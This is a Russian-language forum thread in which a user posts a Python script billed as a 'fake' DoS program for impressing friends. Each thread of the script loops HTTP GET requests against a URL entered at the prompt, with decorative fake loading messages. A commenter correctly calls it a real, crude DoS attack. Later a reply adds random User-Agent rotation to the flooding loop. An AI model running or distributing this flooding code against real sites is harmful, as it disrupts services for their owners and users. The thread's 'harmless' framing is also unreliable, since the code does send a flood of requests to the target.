ВОПРОС · Q&A

Создание фейковой DoS программы на Python

10 ответов 18,8 тыс.
Автор вопроса
Всем ахаё ,DoS приселдуюутся законом ,но если вы очень хотите похвастаться перед друзьями какой вы хацкер программист ,то эта программа вам поможет!


Код:
import time
import os
import threading
import requests

Это наши импорты (Без них никак!) |^|

Код:
# краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
def DosAttack(target):
    while True:
        try:
            rec = requests.get(target)
            print("Request sent to " + URLOFSITE)
        except requests.exceptions.ConnectionError:
            print("[+] " +"error")


Сразу кидаем запросы вверх кода что-бы не забыть... |^|

Код:
threads = 50
#time.sleep(0.4)<-для красоты типо загрузка системы

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1) # <- человек читает подставную загрузку
os.system('cls')

URLOFSITE = input("URL Of Site: ")


Подготовка , и сам инпут URL(а) |^|


Код:
time.sleep(0.7)
os.system('cls')

фэйковая подготовка |^|

Python:
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValieError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.__contains__("http"):
    exit('Site Error')

if not URLOFSITE.__contains__("."):
    exit("Site Error")



DoS атака и фэйковые надписи ошибки сайта ,так-же реальные ошибки для правдоподобности

Python:
for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")


# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!


Как крашится сайт


Весь код на Python 3.8.3




Python:
import time
import os
import threading
import requests

# краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
def DosAttack(target):
    while True:
        try:
            rec = requests.get(target)
            print("Request sent to " + URLOFSITE)
        except requests.exceptions.ConnectionError:
            print("[+] " +"error")


threads = 50
#time.sleep(0.4)<-для красоты типо загрузка системы

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1) # <- человек читает подставную загрузку
os.system('cls')

URLOFSITE = input("URL Of Site: ")
time.sleep(0.7)
os.system('cls')
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValieError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.__contains__("http"):
    exit('Site Error')

if not URLOFSITE.__contains__("."):
    exit("Site Error")

for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")


# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
 
Если кто не понял что значит фейковая программа,сайт падает если сайт будет открыт с роутера ноута с которого идёт процесс ,по настоящему сайт не падает.
 
Зачем?
 
Я уже говорил ,что-бы похваться без каких либо проблем с законом
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?

# -->ПОВТОРЮСЬ ЕЩЁ РАЗ ПРОЦЕСС ЛОЖНЫЙ!САЙТ КРАШИТСЯ ИЗ ЗА ВАШЕГО РОУТЕРА ПРОГРАММА ЧТО-БЫ ПЕРЕД ДРУЗЬЯМИ ПОХВАСТАТЬСЯ!!
А с чего вы это взяли?

краш сайта работает только если устройство подключено к сети ноута с которого идёт процесс
Какое устройство? Какого ноута?
 
Что-то не пойму: суть вашей программы состоит в отправке огромного количества запросов по нужному URI, что это, если не атака?


А с чего вы это взяли?


Какое устройство? Какого ноута?
Окей, при тесте программы сайты падали ,но когда я открыл сайт на телефоне (не через Wi-Fi с которого шёл процесс ) через передачу-данных (Интернет) ,то сайт ровно стоял, хотя как через Wi-Fi сайт падал как здесь .То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
 
То есть сайт открытый с сети из которого идёт процесс падает ,а сайт открытый из другой сети (как интернет) стоит как всегда.
Не сайт падает, а пакеты к вам обратно не доходят.
Вы отправляете с атакующего устройства условно 100 пакетов через python скрипт и 1 пакет из браузера.
Сайт/роутер не в состоянии обработать такое количество соединений одновременно, поэтому, вы и не можете увидеть страницу.

Но повторяю, это и есть обыкновенная DoS атака. Малоэффективная, не проработанная, но атака и говорить, что это "процесс ложный" абсолютно ошибочно.
 
Не сайт падает, а пакеты к вам обратно не доходят.
Вы отправляете с атакующего устройства условно 100 пакетов через python скрипт и 1 пакет из браузера.
Сайт/роутер не в состоянии обработать такое количество соединений одновременно, поэтому, вы и не можете увидеть страницу.

Но повторяю, это и есть обыкновенная DoS атака. Малоэффективная, не проработанная, но атака и говорить, что это "процесс ложный" абсолютно ошибочно.
Понял ,принял ,исправлю (Постараюсь)
 
Я уже говорил ,что-бы похваться без каких либо проблем с законом

Да мы то поняли как раз как это можно использовать, например развести свой зоопарк вот так fake-exploit или трафу подогнать тыц а школьников удивлять ну такое себе
96947442.gif
вот как пример можно это взять принципе.


Можно прямо вики править готовые скрипты и.т.д

 
вот обновлённый код :
Код:
import time
import os
import threading
import requests
import random

def DosAttack(target):
    user_agents = [
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.64",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.254",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 OPR/77.0.4054.254"
    ]
    while True:
        try:
            headers = {'User-Agent': random.choice(user_agents)}
            rec = requests.get(target, headers=headers)
            print("Request sent to " + target)
        except requests.exceptions.ConnectionError:
            print("[+] error")

threads = 50

time.sleep(0.4)
print("Loading Scrits")
time.sleep(0.4)
print("reading classes")
time.sleep(0.4)
print("Start Systems")
time.sleep(1)
os.system('cls')

URLOFSITE = input("URL Of Site: ")
time.sleep(0.7)
os.system('cls')
try:
    attack = int(input("Threads:"))
except ValueError:
    exit("Site have - ValueError")

if attack == 0:
    exit("Not right")

if not URLOFSITE.startswith("http"):
    exit('Site Error')

if '.' not in URLOFSITE:
    exit("Site Error")

for i in range(0, attack):
    thr = threading.Thread(target=DosAttack, args=(URLOFSITE,))
    thr.start()
    print(str(i + 1) + " Working")
 
А что если заставить сайт самому себя дудосить